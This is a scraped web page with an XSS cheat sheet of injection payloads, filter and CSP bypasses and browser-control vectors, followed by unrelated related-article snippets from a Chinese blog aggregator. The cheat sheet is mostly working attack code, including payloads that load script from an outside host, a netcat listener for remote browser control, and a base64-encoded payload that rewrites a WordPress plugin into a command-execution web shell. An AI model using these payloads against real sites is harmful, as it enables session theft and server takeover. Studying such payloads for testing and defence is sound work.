XSS Cheat Sheet
Basic and advanced exploits for XSS proofs and attacks.
Work in progress, bookmark it.
| Technique | Vector/Payload * | ||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| * In URLs: | & => %26 , # => %23 , + => %2B | ||||||||||||||||||
| HTML Context Tag Injection |
<svg onload=alert(1)> "><svg onload=alert(1)// |
||||||||||||||||||
| HTML Context Inline Injection |
"onmouseover=alert(1)// "autofocus/onfocus=alert(1)// |
||||||||||||||||||
| Javascript Context Code Injection |
'-alert(1)-' '-alert(1)// |
||||||||||||||||||
| Javascript Context Code Injection (escaping the escape) |
\'-alert(1)// |
||||||||||||||||||
| Javascript Context Tag Injection |
</script><svg onload=alert(1)> | ||||||||||||||||||
| PHP_SELF Injection | http://DOMAIN/PAGE.php/"><svg onload=alert(1)> | ||||||||||||||||||
| Without Parenthesis | <svg onload=alert`1`> <svg onload=alert(1)> <svg onload=alert(1)> <svg onload=alert(1)> |
||||||||||||||||||
|
Filter Bypass |
(alert)(1) a=alert,a(1) [1].find(alert) top["al"+"ert"](1) top[/al/.source+/ert/.source](1) al\u0065rt(1) top['al\145rt'](1) top['al\x65rt'](1) top[8680439..toString(30)](1) |
||||||||||||||||||
|
Body Tag |
<body onload=alert(1)> <body onpageshow=alert(1)> <body onfocus=alert(1)> <body onhashchange=alert(1)><a href=#x>click this!#x <body style=overflow:auto;height:1000px onscroll=alert(1) id=x>#x <body onscroll=alert(1)><br><br><br><br> <br><br><br><br><br><br><br><br><br><br> <br><br><br><br><br><br><br><br><br><br> <br><br><br><br><br><br><x id=x>#x <body onresize=alert(1)>press F12! <body onhelp=alert(1)>press F1! (MSIE) |
||||||||||||||||||
|
Miscellaneous Vectors |
<marquee onstart=alert(1)> <marquee loop=1 width=0 onfinish=alert(1)> <audio src onloadstart=alert(1)> <video onloadstart=alert(1)><source> <input autofocus onblur=alert(1)> <keygen autofocus onfocus=alert(1)> <form onsubmit=alert(1)><input type=submit> <select onchange=alert(1)><option>1<option>2 <menu id=x contextmenu=x onshow=alert(1)>right click me! |
||||||||||||||||||
| <x contenteditable onblur=alert(1)>lose focus! <x onclick=alert(1)>click this! <x oncopy=alert(1)>copy this! <x oncontextmenu=alert(1)>right click this! <x oncut=alert(1)>copy this! <x ondblclick=alert(1)>double click this! <x ondrag=alert(1)>drag this! <x contenteditable onfocus=alert(1)>focus this! <x contenteditable oninput=alert(1)>input here! <x contenteditable onkeydown=alert(1)>press any key! <x contenteditable onkeypress=alert(1)>press any key! <x contenteditable onkeyup=alert(1)>press any key! <x onmousedown=alert(1)>click this! <x onmousemove=alert(1)>hover this! <x onmouseout=alert(1)>hover this! <x onmouseover=alert(1)>hover this! <x onmouseup=alert(1)>click this! <x contenteditable onpaste=alert(1)>paste here! |
|||||||||||||||||||
| Code Reuse Inline Script |
<script>alert(1)// <script>alert(1)<!– |
||||||||||||||||||
| Code Reuse Regular Script |
<script src=//brutelogic.com.br/1.js> <script src=//3334957647/1> |
||||||||||||||||||
|
|||||||||||||||||||
| Generic Source Breaking | <x onxxx=alert(1) 1=' | ||||||||||||||||||
| Browser Control | <svg onload=setInterval(function(){with(document)body. appendChild(createElement('script')).src='//HOST:PORT'},0)> $ while :; do printf "j$ "; read c; echo $c | nc -lp PORT >/dev/null; done |
||||||||||||||||||
|
|||||||||||||||||||
| <script>alert(1)</script> <script src=javascript:alert(1)> <iframe src=javascript:alert(1)> <embed src=javascript:alert(1)> <a href=javascript:alert(1)>click <math><brute href=javascript:alert(1)>click <form action=javascript:alert(1)><input type=submit> <isindex action=javascript:alert(1) type=submit value=click> <form><button formaction=javascript:alert(1)>click <form><input formaction=javascript:alert(1) type=submit value=click> <form><input formaction=javascript:alert(1) type=image value=click> <form><input formaction=javascript:alert(1) type=image src=SOURCE> <isindex formaction=javascript:alert(1) type=submit value=click> <object data=javascript:alert(1)> <iframe srcdoc=<svg/onload=alert(1)>> <svg><script xlink:href=data:,alert(1) /> <math><brute xlink:href=javascript:alert(1)>click <svg><a xmlns:xlink=http://www.w3.org/1999/xlink xlink:href=?><circle r=400 /><animate attributeName=xlink:href begin=0 from=javascript:alert(1) to=&> |
|||||||||||||||||||
|
|||||||||||||||||||
| Generic Self to Regular XSS | <iframe src=LOGOUT_URL onload=forms[0].submit()> </iframe><form method=post action=LOGIN_URL> <input name=USERNAME_PARAMETER_NAME value=USERNAME> <input name=PASSWORD_PARAMETER_NAME value=PASSWORD> |
||||||||||||||||||
| Injection in Filename "><img src=1 onerror=alert(1)>.gif Injection in Metadata Injection with SVG File Injection with GIF File as Source of Script (CSP Bypass) |
|||||||||||||||||||
|
Google Chrome |
<script src="data:,alert(1)// "><script src=data:,alert(1)// <script src="//brutelogic.com.br/1.js# <link rel=import href="data:text/html,<script>alert(1)</script> |
||||||||||||||||||
| PHP File for XHR Remote Call |
<?php header(“Access-Control-Allow-Origin: *”); ?> <img src=1 onerror=alert(1)> |
||||||||||||||||||
| Server Log Avoidance | <svg onload=eval(URL.slice(-8))>#alert(1) <svg onload=eval(location.hash.slice(1)>#alert(1) <svg onload=innerHTML=location.hash>#<script>alert(1)</script> |
||||||||||||||||||
| Shortest PoC | <base href=//0>
$ while:; do echo "alert(1)" | nc -lp80; done |
||||||||||||||||||
| <script/src="data:,eval(atob(location.hash.slice(1)))//# #eD1uZXcgWE1MSHR0cFJlcXVlc3QoKQ0KcD0nL3dwLWFkbWluL3Bsd Wdpbi1lZGl0b3IucGhwPycNCmY9J2ZpbGU9YWtpc21ldC9pbmRleC5w aHAnDQp4Lm9wZW4oJ0dFVCcscCtmLDApDQp4LnNlbmQoKQ0KJD0n X3dwbm9uY2U9JysvY2UiIHZhbHVlPSIoW14iXSo/KSIvLmV4ZWMoeC 5yZXNwb25zZVRleHQpWzFdKycmbmV3Y29udGVudD08Pz1gJF9HRV RbYnJ1dGVdYDsmYWN0aW9uPXVwZGF0ZSYnK2YNCngub3BlbignUE 9TVCcscCtmLDEpDQp4LnNldFJlcXVlc3RIZWFkZXIoJ0NvbnRlbnQtVHl wZScsJ2FwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCcpD Qp4LnNlbmQoJCk= http://DOMAIN/WP-ROOT/wp-content/plugins/akismet/index.php?brute=CMD |
|||||||||||||||||||
NOTICE: A special version of this cheat sheet (with private stuff) is available to@brutalsecrets followers here (check pass on timeline).
#hack2learn
XSS Cheat Sheet的更多相关文章
- XSS Cheat Sheet(basics and advanced)
XSS Cheat Sheet BASICS HTML注入 当输入位于HTML标记的属性值内或标记的外部(下一种情况中描述的标记除外)时使用.如果输入在HTML注释中,则在payload前加上&quo ...
- XSS (Cross Site Scripting) Prevention Cheat Sheet(XSS防护检查单)
本文是 XSS防御检查单的翻译版本 https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sh ...
- XSS Filter Evasion Cheat Sheet 中文版
前言 译者注: 翻译本文的最初原因是当我自己看到这篇文章后,觉得它是非常有价值.但是这么著名的一个备忘录却一直没有人把它翻译成中文版.很多人仅仅是简单的把文中的 各种代码复制下来,然后看起来很刁的发在 ...
- 转:PostgreSQL Cheat Sheet
PostgreSQL Cheat Sheet CREATE DATABASE CREATE DATABASE dbName; CREATE TABLE (with auto numbering int ...
- Git Cheat Sheet
Merge Undo git merge with conflicts $ git merge --abort Archive $ git archive --format zip --output ...
- CSS3 Animation Cheat Sheet:实用的 CSS3 动画库
CSS3 Animation Cheat Sheet 是一组预设的动画库,为您的 Web 项目添加各种很炫的动画.所有你需要做的是添加样式表到你的网站,为你想要添加动画效果的元素应用预制的 CSS 类 ...
- IOS Application Security Testing Cheat Sheet
IOS Application Security Testing Cheat Sheet [hide] 1 DRAFT CHEAT SHEET - WORK IN PROGRESS 2 Int ...
- HTML5 Cheat sheet PNG帮助手册(标签、事件、兼容)
HTML5 Cheat sheet PNG帮助手册(标签.事件.兼容) 1.HTML5标签 2.HTML5事件 3.HTML5兼容 最新HTML5手册资料请参考:http://www.inmotion ...
- [转]Swift Cheat Sheet
原文:http://kpbp.github.io/swiftcheatsheet/ A quick cheat sheet and reference guide for Apple's Swift ...
随机推荐
- Activiti工作流引擎学习(一)
1.部署对象和流程定义相关表:RepositoryService act_re_deployment: 部署对象表:一次部署的多个文件的信息,对于不需要的流程可以删除和修改 act_re_procde ...
- react-native-swiper使用时候的小坑
react-native版本:0.61.1 react-native-swiper版本:1.5.14 当时第一次使用时候直接粘贴的别人博客的教程代码,只修改了swiper里面的元素,结果发现不能切换, ...
- dotnet 通过 WMI 获取系统补丁
本文告诉大家如何通过 WMI 获取补丁 通过 Win32_QuickFixEngineering 可以获取系统启动的服务 下面代码只是获取补丁的 kb 字符 const string query = ...
- CSDN博客 专用备份工具
CSDN博客 专用备份工具 用要的朋友可下载. 本程序为个人所用,仅供学习.作者:潇湘博客网站:http://blog.csdn.NET/fkedwgwy默认文件存放位置为用户名文件夹下,也可以直接自 ...
- Qt4.5 QFrame(相当于Delphi里的TPanel,有各种凹凸方式)
QFrame类是有框架的窗口部件的基类. QPopupMenu使用这个来把菜单“升高”,高于周围屏幕.QProgressBar有“凹陷”的外观.QLabel有平坦的外观.这些有框架的窗口部件可以被改变 ...
- dubbo rest服务(消费者) java.lang.ClassNotFoundException: org.jboss.resteasy.client.jaxrs.engines.ApacheHttpClient4Engine 错误问题
1.版本 dubbo 2.7.3 2.描述 java.lang.ClassNotFoundException: org.jboss.resteasy.client.jaxrs.engines.Apac ...
- 【题解】有标号的DAG计数2
[HZOI 2015] 有标号的DAG计数 II \(I\)中DP只有一个数组, \[ dp_i=\sum{i\choose j}2^{j(i-j)}dp_{i-j}(-1)^{j+1} \] 不会. ...
- $[TJOI2017]$ 可乐 矩阵优化$dp$
\(Sol\) 设\(f_i\)为到第\(i\)秒的方案数,显然\(f_i=\)在第\(i\)秒前爆炸的方案数+在第\(i\)秒爆炸的方案数+在第\(i\)秒停下的方案数+在第\(i\)秒走向下一个城 ...
- $[NOIp2017]$ 逛公园 $dp$/记搜
\(Des\) 给定一个有向图,起点为\(1\),终点为\(n\),求和最短路相差不超过\(k\)的路径数量.有\(0\)边.如果有无数条,则输出\(-1\). \(n\leq 10^5,k\leq ...
- drop-out栈
1.drop-out栈能够用来做什么? 在许多提供编辑功能的软件,如word.ps.画图,都会提供“撤销”和“恢复”功能,使用drop-out能够实现这些功能. 2.drop-out栈特性 drop- ...